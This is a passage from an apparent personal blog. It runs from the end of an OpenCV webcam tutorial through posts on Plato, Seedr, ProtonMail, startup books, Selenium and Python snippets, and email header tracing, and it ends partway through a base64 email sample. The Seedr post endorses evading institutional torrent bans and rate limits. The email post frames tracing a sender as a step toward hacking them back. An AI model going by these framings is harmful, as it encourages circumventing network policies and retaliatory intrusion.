This is an important part as it would let us get out of the while loop, and thus, exit the program gracefully. The cv.waitKey function waites for a key press event, and returns the ASCII value of the key pressed. Then we check if that corresponds to any of the keys — q, Q or ESC. If it is, we break out of the loop.

The final lines of the code does the clean-up work.

cap.release()
cv.destroyAllWindows()

To run the function, complete the script by adding the last two lines, and save it as video.py —

import cv2 as cv

def display():
...

if __name__=='__main__':
	display()

And then on running it, you’ll see a window showing video-feed from your webcam, which you can close by pressing Q or ESC.

$ python3 display.py

Conclusion

I won’t delve much deeper in this post, I’d like some feedback from the readers on the format and content of it before I start writing the rest of the series extensively. So please leave your feedback, and any questions if you have, down below in the comments, or in this Reddit thread. Cheers!

An Interpretation of Anamnesis

Fri, 22 Jun 2018 18:30:00 GMT

Plato argues in his dialogue Meno that the human soul possesses all knowledge from eternity, and learning just consists of us remembering those knowledge within us. This Platonic concept of knowledge is known as Anamnesis.

Now, this all may sound some bunch of hogwash, but I’m going to offer an interpretation of this concept which may turn out to be insightful for you—the readers, hopefully.

Firstly, let us be clear that by knowledge, Plato is referring to knowledge a priori, i.e. the knowledge which doesn’t depend on experimental or worldly evidence. The flip side of the coin is knowledge a posteriori, which does depend on the world and experiences. To make this distinction clear, let us take a few examples. Logic and Mathematics are de-facto example of knowledge a priori, whereas Physics, Chemistry, Biology or History are fields of knowledge a posteriori. Here in this article, by knowledge we’ll be referring to knowledge a priori—for example mathematics—unless specified otherwise.

An Interpretation of Anamnesis

The Soul — The eternal human soul can be interpreted as our mind, more specifically the part of our mind which deals with higher forms of intellect, such as reasoning, emotional responses, and ability to contemplate abstract ideas.
Reincarnation — Reincarnation and the immortality of soul can be interpreted as the “passing on” of the human genome, and thus the intellectual mind—the soul.
Possession of Knowledge — Eternal possession of all knowledge by the soul can be interpreted as the ability of the human mind—the soul—to reason.
Remembrance of Knowledge — Remembrance of knowledge by the soul can be interpreted as the reasoning process, the way we can ask questions to ourselves and reason, arriving at knowledge a priori without it coming from any external source.

To give a background for all of this, we can refer to the famous examination of a slave, who is asked to solve a problem in geometry. Interestingly, Plato chooses to take the topic of geometry to convey his idea, which can be clearly categorized as a priori knowledge. In the dialogue, Socrates asks the slave questions regarding the relationship of the area and the length of the sides of a square, and eventually makes him arrive at the the truth. Socrates doesn’t tell him the answer directly, but rather guides him in his reasoning and points out the faults in his logic. By this, Socrates aims to prove his point about Anamnesis, that the slave—rather his soul—already knew the answer, he just had to remember it.

Now applying the interpretation I provided to this part of the dialogue, it becomes clear how it holds up. Socrates is trying to make him remember—reason towards the truth—by asking him questions and guiding his reasoning. His soul—his intellectual mind—already knows the answer, i.e it has the ability to arrive to it—remember it—by sheer contemplation. And his soul possesses this knowledge eternally, through reincarnations, as the genes contributing to the human intelligence survives through generations.

I will conclude this vignette with a comparison of my interpretation of Amnesia to another similar theory of the human mind and linguistics, the hypothetical Language Acquisition Device, put forth by Noam Chomsky. From Wikipedia,

… the LAD concept is an instinctive mental capacity which enables an infant to acquire and produce language. This theory asserts that humans are born with the instinct or innate facility for acquiring language. The main argument in favor of the LAD is the argument from the poverty of the stimulus, which argues that unless children have significant innate knowledge of grammar they would be unable to learn language as quickly as they do …

Similar to LAD, my interpretation of Amnesia also points towards an innate ability of the human mind, which explains a paradoxical situation. In the case of Meno, it is The Learner’s Paradox, also known as Meno’s Paradox or The Paradox of Inquiry. Similarly in the case of LAD, it aims to solve the paradox of Poverty of the Stimulus.

Check out the following links, insightful as they are regarding this topic.

Seedr. The Cloud Torrent Downloader.

Thu, 24 May 2018 18:30:00 GMT

If you are a netizen like me and obsessed with torrenting stuff, then you may have already come across cloud torrent downloaders. These are sites which help you download torrents through your browser over HTTP. The way it works is, the website downloads the torrent to their server (or the cloud, as some would like to call it), and then lets you download it from their server to your computer. That way, you don’t have to torrent it directly yourself. Basically, the website acts as middleman.

These sites come very handy when you’re in a network where torrenting is banned. This is usually the case with intranets such as workplaces and universities; rather than dealing with individual pirating cases, they just ban torrents altogether.

Seedr

I’ve tried a few cloud torrent downloader in the last 2 years after coming to college. Among them was ZbigZ, Bitport and Seedr. I wasn’t willing to shell out money for this service, so I was looking for the alternative whose free plan would be the best. And that’s why I ended up going with Seedr. It gives 2 GB of space for free users, and you can expand it up to 5 GB through various methods, like sharing it on social media and so on. The only downside to Seedr I’ve noticed is it’s rate limiting, it limits the download speed for each file you download. It doesn’t limit the total download bandwidth though, so you can download multiple files parallelly, each getting the download speed a solo one would’ve got, effectively circumventing the speed limit.

If you are need of a such a cloud torrent downloader, I’d suggest that you go with Seedr. Here is my referral link through which you can register, which will grant you 500MB extra space ;)

All links to Seedr in this article are referral links, which will give you an additional 500MB space for free! Here’s a link without referral.

Switching to ProtonMail

Fri, 18 May 2018 18:30:00 GMT

By now, it is well-known that for many of the free products we use on the internet, such as Facebook and Google, we are paying with our identity. Hoping to get a free product, we are becoming the product. As Adam Conover puts it in this video —

If you’re not paying, you’re not the customer - you’re the product.

By the way, do watch that video. In a funny and casual way, it shows the real price we pay when we use these supposedly free websites.

Fortunately, we can get out of this system. in this post Global surveillance disclosures age, it’s high-time that we do so, starting with the products we use everyday. Free Internet activists around the world are working hard to help us in this aspect.

Switching to ProtonMail

I had heard about ProtonMail a few times before, it sounded interesting, but I never took it seriously. Yesterday, when I was going through the blog of a senior of my college who’s kind of a mentor figure, I noticed that his public email is a ProtonMail one. It caught my attention obviously, as 90+ percent of email addresses I see are Gmail ones. After looking it up and reading up about it, I decided to get one.

Pros of ProtonMail

The ProtonMail clients do the encryption and decryption of the emails in the client app itself, all the servers receive are encrypted mails. This end-to-end encryption ensures total privacy of the conversations.
All datacenters are located in Switzerland, outside US and EU jurisdictions. From Wikipedia —

Under Swiss law all surveillance requests from foreign countries must go through a Swiss court and are subject to international treaties. Prospective surveillance targets are notified and can appeal the request in court.

A Point about Resetting Password

All of the stored emails are encrypted with your public key, and the corresponding private key is symmetrically encrypted using your password. So if you reset your password, the previous private key becomes undecryptable and thus unrecoverable, as it was stored after symmetrical encryption with your old password. And consequently, all of the past emails will be unrecoverable, because we don’t possess the private key required to decrypt them anymore.

My ProtonMail Address

You can contact me on sumit.ghosh@protonmail.com! My primary email address is still sumit@sumit-ghosh.com though, so don’t rely on me regularly checking the ProtonMail.

Books Every Startup Founder Should Read

Sun, 25 Feb 2018 18:30:00 GMT

I wanted to read some books about founding startups, but had no idea which books should they be. Naturally, Google came to help. Upon compiling books from the first page of Google search results of the query “books startup founders should read”, what I got is the list below.

Important — Number of ★s against a book indicates the number of times that book came up repeating, so the more the better.

Top picks: Books coming up more than once

★★★★★★ The Hard Thing About Hard Things by Ben Horowitz
★★★★ The Innovators Dilemma by Clayton M. Chistensen
★★★ Zero to One by Peter Thiel
★★★ The Lean Startup by Eric Ries
★★★ Hooked by Nir Eyal
★★ High Output Management by Andrew Grove
★★ The Checklist Manifesto by Atul Gawande
★★ Rework by Jason Fried and David Hansson
★★ Contagious by Jonah Berger
★ Only the Paranoid Survive by Andrew Grove
★ Good To Great by James C. Collins
★ Creativity Inc. by Ed Catmull
★ The Four Steps to the Epiphany by Steve Blank
★ The $100 Startup by Chris Guillebeau
★ Venture Deals by Brad Feld
★ Sprint by Jake Knapp
★ Startupland by Mikkel Svane
★ Conscious Capitalism by John Mackey
★ The Effective Executive by Peter Drucker
★ Zen and the Art of Motorcycle Maintenance by Robert Pirsig
★ Influence by Robert B. Cialdini
★ How to Win Friends and Influence People by Dale Carnegie
★ Traction by Gabriel Weinberg

All the books

Change by Design by Tim Brown
★★★★★★ The Hard Thing About Hard Things by Ben Horowitz
Crossing the Chasm by Geoffrey Moore]
The Alliance by Reid Hoffman
★★★ Zero to One by Peter Thiel
★★★★ The Innovators Dilemma by Clayton M. Chistensen
Steve Jobs by Walter Issacson
Finding My Virginity by Richard Branson
Product Leadership by Martin Eriksson
The Startup Way by Eric Ries
★ Contagious by Jonah Berger
★★ High Output Management by Andrew Grove
★ Only the Paranoid Survive by Andrew Grove
★ Good To Great by James C. Collins
★ Creativity Inc. by Ed Catmull
★★★ The Lean Startup by Eric Ries
★★ The Checklist Manifesto by Atul Gawande
★★★ Hooked by Nir Eyal
★ The Four Steps to the Epiphany by Steve Blank
The E-Myth Revisited by Michael E. Gerber
★ The $100 Startup by Chris Guillebeau
Will it Fly? by Pat Flynn
★ Venture Deals by Brad Feld
An Awesome Book★ by Dallas Clayton
Radical Candor by Kim Scott
Setting the Table by Danny Meyer
★ The Sprint book by Jake Knapp
Business Model Generation by Alexander Osterwalder
The Startup Owner’s Manual by Steve Blank
Start with Why by Simon Sinek
The War of Art by Steven Pressfield
Build Your Dream Network by J. Kelly Hoey
Good to Great by Jim Collins
Pretotype it by Alberto Savoia
Start me up! by Ebong Eka
The 10x Rule by Grant Cardone
★★ Rework by Jason Fried and David Hansson
The Power of Habit by Charles Duhigg
★ Startupland by Mikkel Svane
Four Thousand Days by Duane Jackson
The Unbearable Lightness of Being by Milan Kundera
Your One Word by Evan Carmichael
Originals by Adam Grant
The Tools of Titans by Tim Ferriss
Rich20Something by Daniel DiPiazza
Superbosses by Sidney Finkelstein
Be Obsessed or Be Average by Grant Cardone
The Happiness Track by Emma Seppala
The Inevitable by Kevin Kelly
★ Conscious Capitalism by John Mackey
Playing to Win by A.G. Lafley
Good Strategy, Bad Strategy by Richard Rumelt
★ The Effective Executive by Peter Drucker
Founders at Work by Jessica Livingston
★ Zen and the Art of Motorcycle Maintenance by Robert Pirsig
Poor Charlie’s Almanack by Charlie Munger
The Score Takes Care of Itself by Bill Walsh
The Fountainhead by Ayn Rand
Business Adventures by John Brooks
Benjanmin Franklin by Walter Issacson
Think and Grow Rich by Napoleon Hill
As a Man Thinketh by James Allen
Things Hidden Since the Foundation of the World by Rene Girard
The Obstacle is the Way by Ryan Holiday
Surely You’re Joking, Mr. Feynman! by Richard P. Feynman
Meditations by Marcus Aurelius
Blink by Malcolm Gladwell
Reality Check by Guy Kawasaki
How to Get Filthy Rich in Rising Asia by Mohsin Hamid
Switch by Chip Heath and Dan Heath
Out of the Crisis by W. Edwards Deming
Peak by Chip Conley
★ Influence by Robert B. Cialdini
Lucky or Smart? by Bo Peabody
Extreme Programming Explained by Kent Beck
Boyd by Robert Coram
Purple Cow by Seth Godin
The 7 Habits of Highly Effective People by Stephen R. Covey
★ How to Win Friends and Influence People by Dale Carnegie
Outliers by Malcolm Gladwell
The Start-up playbook by David S. Kidder
Competing Against Time by George Stalk
Built to Last by Jim Collins
★ Traction by Gabriel Weinberg
Crucial Conversations by Kerry Patterson, Joseph Grenny, Ron McMillan, and Al Switzler
Critical Chain by Elyahu Goldratt
Scientific Advertising By Claude Hopkins
Revenue Disruption by Phil Fernandez
The Tipping Point by Malcolm Gladwell
The Twenty Two Immutable Laws of Marketing by Al Ries and Jack Trout
The Fish That Ate the Whale by Rich Cohen
The Black Swan by Nassim Nicholas Taleb
The Art of War by Sun Tzu
Never Split the Difference by Chris Voss
Who by Geoff Smart and Randy Street
The 4-hour Work Week by Tim Ferriss
The Art of Happiness by Dalai Lama and Howard C. Cutler
Entrepreneur Revolution by Daniel Priestley
Oversubscribed by Daniel Priestley
Bargaining for advantage by G. Richard Shell
Mastering the VC game by Jeffrey Bussgang
The 48 laws of power by Robert Greene

Sources

The first page of Google Search results of the query Books Startup Founders Should Read as of 26.02.2018.

Owner vs Victim — An Epiphany (Sort of)

Tue, 06 Feb 2018 18:30:00 GMT

The central concept Steve Chandler focuses on in his book Reinventing Yourself is that of being a Owner vs being a Victim. To explain it while maintaining brevity,

A Victim is someone who thinks of himself as a victim of the circumstances.
A Owner is someone who doesn’t ever think of himself as a victim, but rather takes up the responsibility for his life.

I won’t go into the philosophy of Victim and Owner here, but instead, I’ll share a recent epiphany I had which reinforced my belief in this philosophy.

From my childhood, I have always taken an interest in learning things on my own, especially technical things. I started learning about programming, hacking, reverse-engineering leading up to computer architecture, and more, on my own in my childhood. Later in high-school, I was a pretty good programmer and even started making some money off of my programming skills. Naturally, I took up computer science as major in college. But then in college, I was finding it hard to learn things which were being taught. What went wrong here? It’s not that I don’t like Computer Science, in fact, I love it so much that I read theoretical computer science concepts in my spare time, but I read only those which are not in the course syllabus. Whenever it feels like I’m studying for an exam or for grades, my attitude towards the topic changes entirely. So what’s going wrong here? The education system is partly to blame, but there’s a deeper problem here that we need to address.

The dynamic playing out here is that of victim and owner. The reason I’m finding it hard to appreciate and focus on the subject at hand is my attitude towards it. I’m thinking of myself as a victim, thinking that I am a victim of the circumstances—in this case, the upcoming exam and grades thereof. Instead of thinking that I am doing it because I should, if I think that I am doing it because I want, all the frustration goes away. In most of the cases, this is true too, we are rarely a victim of the circumstances, rather it’s our thought-process that makes us behave like one. You too must’ve experienced this, when you decide to do something and then do it for yourself, it doesn’t feel like a chore, rather it feels like a personal project.

I’m not going to make this post a long one. What I wanted to share with you, the readers, is the gravity and applicability of this victim—owner concept in our everyday life. I highly recommend the Reinventing Yourself book I mentioned above, it will change your life for the better.

Downloading File With Progress Bar in Python

Tue, 06 Feb 2018 18:30:00 GMT

Below is a Python function I recently wrote which downloads a file from a remote URL, and shows a progress bar while doing it. Here’s the code —

import sys
import requests


def download(url, filename):
    with open(filename, 'wb') as f:
        response = requests.get(url, stream=True)
        total = response.headers.get('content-length')

        if total is None:
            f.write(response.content)
        else:
            downloaded = 0
            total = int(total)
            for data in response.iter_content(chunk_size=max(int(total/1000), 1024*1024)):
                downloaded += len(data)
                f.write(data)
                done = int(50*downloaded/total)
                sys.stdout.write('\r[{}{}]'.format('█' * done, '.' * (50-done)))
                sys.stdout.flush()
    sys.stdout.write('\n')

Here’s a little demo of it in action —

$ python3 demo.py
[*] Downloading test file of size 100 MB...
[█████.............................................]

The contents of demo.py file being —

from dl import download


print('[*] Downloading test file of size 100 MB...')
download('https://speed.hetzner.de/100MB.bin', '100MB.bin')
print('[*] Done!')

Pretty neat right? Hope this comes in useful for you. Till next time.

Handling File Upload Through Selenium Python

Sun, 03 Dec 2017 18:30:00 GMT

Once you start playing around with Selenium, sooner or later you’re gonna face the problem of handling file uploads. It’s like a rite of passage every Selenium programmers must go through. The problem with file upload is, once you click the upload button, the select file dialog box which opens up is a owned by the OS, not the browser, so you cannot control it using Selenium, meaning we have to find our way around it. There are different ways this can be accomplished.

Directly passing file-path to the input element

In this approach, we are going to bypass the “select file” dialog box completely, passing the file-path to the webpage without ever opening it. We know that if the webpage is handling a file-upload, it must be having an input tag with type=file in it. Firstly you should check if Selenium can access this input tag and modify it. For that, try the following code —

fileinput = driver.find_element_by_id('theFileInputElement')
fileinput.send_keys('/path/to/file')

As you can see, we are selecting the input element, and then passing the path of the file to it using the send_keys method. An example page on which this approach would work is the image upload page of Imgur. It contains a input tag like the below mentioned HTML snippet —

<input
  type="file"
  id="global-files-button"
  class="nodisplay"
  name="files[]"
  multiple-accept=".jpg,.jpeg,.png,.gif,.apng,.tiff,.tif,.bmp,.pdf,.xcf,.webp,.mp4,.mov"
/>

Which can be handled by —

driver.find_element_by_id('global-files-button').send_keys('/path/to/image/file')

But this approach doesn’t always work. Sometimes this code will throw an error stating that the element is not accessible. Usually this happens when the webpage handles file upload through some JavaScript sorcery, instead of going the usual way. In that case, you’ll have to first modify the input element and make it accessible to Selenium. Check the following code —

fileinput = driver.find_element_by_css_selector('input.dz-hidden-input')
driver.execute_script('arguments[0].style = ""; arguments[0].style.display = "block"; arguments[0].style.visibility = "visible";', fileinput)

In the second line of the above code sample, we are running a JavaScript snippet which modifies the inaccessible <input> tag, making it visible and accessible. After this, we can send the file-path to it using send_keys, like we did above.

Controlling the file-upload dialogue (Not recommended)

Another way you could do this is, using some scripting tool to control the select-file dialog box. This is not recommended at all, as there doesn’t exist any cross-platform solution to do this. For windows, you could take a look at AutoIt. But as it’s not cross-platform, I won’t recommend it.

The Best (arguably!) Introductory Algorithms and Data Structure Course

Mon, 20 Nov 2017 18:30:00 GMT

The title suspiciously sounds like an advertisement or paid promotion, doesn’t it? I know it does, but still, believe me or not, it’s not. I just completed the introductory algorithms and data structures course Algorithms Part 1, and I can say confidently that it is one of the—if not the best—course of its kind available out there on the interwebs. This course is offered by Princeton University on Coursera, taught by Robert Sedgewick.

I won’t make this a lengthy post, I just want to point out some specialties of this course that made me love it. FYI, I just did a course on algorithms and data structures in my uni too, that too with the exact same syllabus. But I liked this Coursera one over that, mainly because of the assignments, as I go on length bitching about it below.

Assignments

I would recommend someone to do this course just for the assignments. They are fun, introduces a new algorithm to you and requires you to implement it using the data-structures taught. They don’t tell you to simply implement the data-structures, which gets very boring pretty soon. That was the problem with the course at my uni too, one of the assignments of that was just implementing B-Tree. I’m not saying that was a bad decision made by the professor, but it sure made the assignment a boring and tedious exercise. Anyway, stopping bitching about my college and going back to the point, Algorithms Part 1 is really fun when you do the assignments. I used to eagerly finish all the lectures as quickly as possible so that I can start working on the next assignment, that’s how fun the assignments are.

A tip about the assignment, you can resubmit those as many times as possible, so you can keep improving and perfecting them until you get a perfect score, only if you want, of course, the passing mark is 80%. This brings me to another point, the auto-grader. For someone who didn’t get the term, auto-grader is the grader software which grades the assignments, as you guessed, automatically. The auto-grader of this course is so rigorous and perfectly worked upon, that it makes achieving a perfect score in the assignments feel like a great accomplishment. It checks the code for correctness, speed, memory usage, checking these rigorously for every single function you wrote, individually. This is the first time I’ve seen such a rigorous auto-grader, it makes the assignment 10 times fun.

Course Content

The course content is really well thought-out and planned too. The lecture is concise, and if you watched it like I did, in 1.25x speed, it will be even more concise! (Sorry for the attempted joke.) The lecturer Robert Sedgewick is an extremely renowned computer scientist, author of several books and he discovered the data structure Red-black Tree! If you don’t know, it’s one of the most used data-structure, the default implementation of Tree in Java, C++ and Linux kernel!

Something I liked about the course very much is how Prof. Sedgewick shows pieces of code as he explains the data structures. Although it’s not required, I’d suggest that you implement the data-structures he’s teaching parallelly as you’re going through the course, like pausing the video once-in-a-while and then coding the algo to that part. This makes going through the course a bit slower, but it’s worth it. That way the concepts along with their implementation will be engraved in your mind. Even if you don’t do that, the assignments by themselves would give enough chance to exercise those fingers of yours. To be honest, I didn’t implement all the data-structures in the later part of the course myself, I only did the assignments. Also, you don’t need to take notes while you’re going through the course, as there are lecture slides available.

Another thing worth mentioning, if you’re looking for lots of time-complexity analysis and another theoretical concepts, you won’t find that here. Prof. Sedgewick only covers the basics of the theoretical concepts of Computer Science, and for a more mathematical and rigorous introduction to Computer Science, you should consider some other courses. This course is mainly intended for beginners in Computer Science, covering mostly practical aspects of it. The next part of this course, Algorithms Part 2, delves deeper into more complex data structures and related algorithms, such as graph and string manipulation.

Reputation

It is arguably the best MOOC algorithms and data-structure course out there, and if you look around the interwebs (or maybe ask around) a bit, most of the netizens will agree. That’s why the course gets a lot of registrations, and the discussion forum of the course is quite active as a result. That may turn out to be helpful to you, if you’re the type. I don’t really take part in such discussions, rather I like to tackle the problem myself. But for me too, it turned out to be helpful once I got badly stuck on an assignment. So that’s a nice thing you can rely upon if it seems too hard for you.

Pricing and Certification

This course is completely free, so that’s nice. There’s one caveat though, the usual option of paying for the certificate is not there too. So that means, even if you wanted, you can’t get a certificate to show-off. But frankly, MOOC certificates does not hold much value in the real world. I’m planning to post an article on this soon, so stay tuned!

My code for this course

Here’s the code I wrote while taking the course. It contains the solutions to the assignments too, so I’d suggest you not to check the folder “Assignments” unless you’re done with it.

Boyhood. Through Some Quotes.

Wed, 15 Nov 2017 18:30:00 GMT

After watching Boyhood for the second time some days ago, I realized, again, how awesome this film is. I won’t go about in length how this film is a marvelous achievement in storytelling, shooting with the same actors over a period of 12 years, but rather I’ll write about how it touched me.

The beautiful thing about this movie is, it doesn’t have a theme, per se. It doesn’t try to get across any idea and embed it into the viewer forcefully, it just tells a story. Consequently, from a basic teaser of the movie, like the ones they show as a short description on IMDb, the story seems plain. The IMDb description of this movie reads, “The life of Mason, from early childhood to his arrival at College”, which screams lack of depth. But the marvel of this movie lies in the simplicity of the story itself, it tries to make the story as real and intimate as possible, so that every viewer can relate to it in different ways, making the movie a different experience for everyone, similar only in the aspect that it warms up your insides in a really nice way.

The first time I saw the movie, I didn’t pick up the finer philosophies woven into the dialogues, rather I just felt that nice feeling. That itself made me fall in love with this movie. But the second time I watched it, I could relate to it at a whole different degree, so much, it seemed almost freaky to me. I thought, how can this movie speak the exact same thoughts that I have been thinking the past few weeks? The immediate explanation I could think of was — the first time I watched the film, the ideas got embedded in the back of my head, and then it manifested slowly later on. When I was discussing this apparent freak occurrence with a friend, she told me, “We all see things differently depending on our stance in life at that point of time”. I liked that explanation more, and I think that’s the way it works — art in general. You interpret it and relate to it according to you, your personality, your stance in life at that point and so on, and so the experience is different for everyone.

There are two characters in this movie that really touched me, making me think about life more and more. One is, obviously, Mason (junior). And another is Mason’s mom. Trying to analyze Mason’s personality from an MBTI standpoint, I think he’s an INTP. But the way he’s portrayed in the movie kind of resembles an INFP in some aspects, so taking that into account I’d say he’s an INXP. Actually, his philosophies and ideals scream INTP, but his artsy interests makes him unlike a typical INTP, rather like a typical INFP. But as I’m focusing on his ideals and thoughts only, I’ll go with the INTP part of him.

From childhood only, Mason knew he’s different as he’s more into movies and books than any of his friends. His character especially gets depth after he grows up into young-adulthood, his thoughts and philosophies being expressed mostly through his conversations with his girlfriend Sheena. I will copy-paste one of them from IMDb here —

Mason: I just feel like there are so many things that I could be doing and probably want to be doing that I’m just not.
Sheena: Why aren’t you?
Mason: I mean, I guess, it’s just being afraid of what people would think. You know, judgement.
Sheena: Yeah. I guess it’s really easy to say, like I don’t care what anyone else thinks. But everyone does, you know. Deep down.
Mason: I find myself so furious at all these people that I am in contact with just for controlling me or whatever but you know they are not even aware they are doing it.
Sheena: Yeah. So, in this perfect world where no one is controlling you. What’s different? What changes?
Mason: Everything. I mean, I just wanna be able to do anything I want, because it makes me feel alive. As opposed to giving me the appearance of normality.
Sheena: Whatever that means.
Mason: I don’t think it means much.

Then, the next quote by Mason, where he is talking about college, but this can be extended to all our life.

Mason: But it’s like a preordained slot that’s already got your name and number on it. I don’t think it’s the key to my future. ‘Cause, I mean, look at my mom. She got her degree and got a pretty good job. She can pay her bills. I like your mom. I like my mom, too. I just mean… Basically she’s still just as fuckin’ confused as I am.

This statement of Mason is confirmed by her mom herself later in the film, when Mason is leaving for College. After living most of her life in the rat race, when she sends off Mason to college, she breaks down with a crisis that we should all try to avoid.

Mom: You know what I’m realising? My life is just going to go. Like that. This series of milestones. Getting married. Having kids. Getting divorced. The time that we thought you were dyslexic. When I taught you how to ride a bike. Getting divorced… again. Getting my masters degree. Finally getting the job I wanted. Sending Samantha off to college. Sending you off to college. You know what’s next? Huh? It’s my fucking funeral! Just go, and leave my picture!
Mason: Aren’t you jumping ahead by, like, 40 years or something?
Mom: I just thought there would be more.

Breaking out of the rat race and going perpendicular to the direction of the herd takes a lot of inner strength, self-confidence, and capability of thinking freely, in the truest sense of the word. Following the herd is easier, as it makes you think that you’re normal. The society also treats you that way, even rewards you temporarily, for being normal. But at the end of our life, we all would feel like Mason’s Mom did, “I just thought there would be more”. The hard truth is, there won’t be more unless you actively strive for what you really want to do, what really would make you not have this thought when you’re old. Deciding what it is, is not an easy task, sooner we do it, the lesser we’ll have to suffer in life.

Email — Structure and How to Trace it

Fri, 30 Dec 2016 18:30:00 GMT

We all have received fake spam mail telling us that we’ve won million dollars at some point in our life. Maybe one day you receive a threatening email or a simple phishing mail, and you want to find out who did it so that you can hack him in return. To do that you need to know the IP address of the mail server sending the email. In this article I’m gonna show you how to do that, after introducing you to the basics of the structure of an Internet Message or simply, Email.

Email is one of oldest mode of communication through a computer network—usually the Internet—which is still popular today. The Email which we are familiar with was standardized and came into popular usage in the early 1970s, and it has been a core foundation of the Internet since then. Nowadays we all use a fancy web interface or mobile app to send and view received emails, so we don’t have to worry about how is it working. But that isn’t enough for a hacker, is it? If we don’t know the detailed intricacies of its mechanism, how can we exploit it or do something advanced with it? So, keep reading!

The Internet Message Format

The current Email format is defined in RFC 5322. Multimedia Email attachments’ format is defined in RFC 2045 through RFC 2049, and this format is called Multimedia Internet Mail Extensions or simply MIME. You can read those RFC articles to get a fully detailed formal documentation of the structure and format of email, but it’s not necessary as I will discuss it in short here. Nevertheless, if you are interested to learn more, you can check them out after reading this post of mine.

At the most basic level, an email is a series of ASCII characters. It consists of line of characters, lines ending with ASCII ‘CRLF’ (carriage return and line feed). The entire email can be divided into two parts, the Header section and the Body. Let’s see an example email to get an idea of what we are talking about.

Delivered-To: john.doe@gmail.com
Received: by 10.200.55.226 with SMTP id e31csp1128773qtc;
Tue, 18 Oct 2016 09:50:19 -0700 (PDT)
X-Received: by 10.107.131.213 with SMTP id n82mr2118112ioi.125.1476809419401;
Tue, 18 Oct 2016 09:50:19 -0700 (PDT)
Return-Path:
Received: from o6.em.email.accounts.autodesk.com (o6.em.email.accounts.autodesk.com. [167.89.4.107])
by mx.google.com with ESMTPS id g126si21395826ioa.252.2016.10.18.09.50.19
for
(version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
Tue, 18 Oct 2016 09:50:19 -0700 (PDT)
Received-SPF: pass (google.com: domain of bounces+1621835-f4d2-john.doe=gmail.com@em.email.accounts.autodesk.com designates 167.89.4.107 as permitted sender) client-ip=167.89.4.107;
Authentication-Results: mx.google.com;
dkim=pass header.i=@email.accounts.autodesk.com;
dkim=pass header.i=@sendgrid.info;
spf=pass (google.com: domain of bounces+1621835-f4d2-john.doe=gmail.com@em.email.accounts.autodesk.com designates 167.89.4.107 as permitted sender) smtp.mailfrom=bounces+1621835-f4d2-john.doe=gmail.com@em.email.accounts.autodesk.com
DKIM-Signature: v=1; a=rsa-sha1; c=relaxed; d=email.accounts.autodesk.com; h=mime-version:from:to:reply-to:subject:content-type:content-transfer-encoding; s=smtpapi; bh=yheKlMFCWTtON78IXgxVWyAUb78=; b=I8q38u7TFdqinW6Y02 AM+ifHWAvTihYfBs5GSZl8JDnuc1BlMffeS8KUkWyRJjLY+B0ch4uPXBvCHdCZ75 VGkMp0jmmQRyVzQ4hfvAeTYVJ0fDzB89cHKyTzLTpd/ak9D0OAcc+6TJFqCgURMH CSrAzDL/ejxBTOEgepL8Y3Feg=
DKIM-Signature: v=1; a=rsa-sha1; c=relaxed; d=sendgrid.info; h=mime-version:from:to:reply-to:subject:content-type:content-transfer-encoding:x-feedback-id; s=smtpapi; bh=yheKlMFCWTtON78IXgxVWyAUb78=; b=YK6zoBmBYxE2GRUFIh Qze6EJGuxLw1UtO+NGfdmUgSmtNVLUt8p/N+CS9nPNONFESaVo2Ebk0iV8OBXqs0 EhPaOVOIiAcnSI/fwzd8A/dN+y3gqNquU3ysc9Gyk3kDcFSI8nj9yC4uhAs4fpMv AC/2kWdHjFjHBiTRYcL07C46M=
Received: by filter0958p1mdw1.sendgrid.net with SMTP id filter0958p1mdw1.2775.580652C7AF
2016-10-18 16:50:15.915852162 +0000 UTC
Received: from ECPRID2AWEB004 (ec2-52-4-196-162.compute-1.amazonaws.com [52.4.196.162]) by ismtpd0006p1iad1.sendgrid.net (SG) with ESMTP id aIawJW2DTFi0CgbichcKJg for ; Tue, 18 Oct 2016 16:50:15.917 +0000 (UTC)
MIME-Version: 1.0
From: Autodesk
To: john.doe@gmail.com
Reply-To: noreply@mail.accounts.autodesk.com
Date: 18 Oct 2016 16:50:15 +0000
Subject: Verify your Autodesk account
Content-Type: text/html; charset=utf-8
Content-Transfer-Encoding: base64
Message-ID:
X-SG-EID: iimKsBOu00eJI3OJPONMulw6aZ/yjiemm1SqdEDLcTZBP1eHyN3Qr32i1Vdhd5J7BwflVrWhRCLr0j woo/OKUHaIA1bGmnv8Qd2DfN0OSocqGDQ8DK7afms0hcjbrNUG/S3Bsv7fJWCR15UEaoJ/qfJtpdgG gZSAdl3d07GxUEWB0KHMNBmsfHLUEhfyzWPfn5IBYcQ334wRxcWBQ/eu31XQd8fIXETIiBgrd19ic6 SiLuZKRyxs7mVzCv46+9G/
X-Feedback-ID: 1621835:SZNY+iwS6efjfOV9JjNuzvzTddPNBc3FolKu4zujGFA=:SZNY+iwS6efjfOV9JjNuzvzTddPNBc3FolKu4zujGFA=:SG

PGh0bWw+DQo8aGVhZD4NCjxsaW5rIGhyZWY9Imh0dHA6Ly9mb250cy5nb29nbGVhcGlzLmNvbS9j
c3M/ZmFtaWx5PU9wZW4rU2Fuczo0MDAsMzAwLDcwMCIgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0
ZXh0L2NzcyIgLz4NCjxzdHlsZT4NCiAgICAgICBAaW1wb3J0IHVybChodHRwOi8vZm9udHMuZ29v
Z2xlYXBpcy5jb20vY3NzP2ZhbWlseT1PcGVuK1NhbnM6NDAwLDMwMCw3MDApOw0KCSAgIFtzdHls
ZSo9Ik9wZW4gU2FucyJdIHsNCiAgICBmb250LWZhbWlseTogJ09wZW4gU2FucycsIEFyaWFsLCBz
YW5zLXNlcmlmICFpbXBvcnRhbnQNCn0NCg0KYXsNCnRleHQtZGVjb3JhdGlvbjpub25lICFpbXBv
cnRhbnQ7DQpjb2xvcjojMDY5NkQ3ICFpbXBvcnRhbnQ7DQp9DQphOmhvdmVyew0KdGV4dC1kZWNv
cmF0aW9uOnVuZGVybGluZSAhaW1wb3J0YW50Ow0KDQp9DQo8L3N0eWxlPg0KPC9oZWFkPg0KICA8
Ym9keSBzdHlsZT0icGFkZGluZzozMnB4IDEwJTsgbWFyZ2luOjBweDsgZm9udC1mYW1pbHk6J09w
ZW4gU2FucycsICdIZWx2ZXRpY2EgTmV1ZScsIEhlbHZldGljYSxBcmlhbCwgU2Fucy1TZXJpZjtj
b2xvcjogIzMzMzsgYmFja2dyb3VuZC1jb2xvcjogI0ZGRkZGRjsiPg0KICAgIDx0YWJsZSAgc3R5
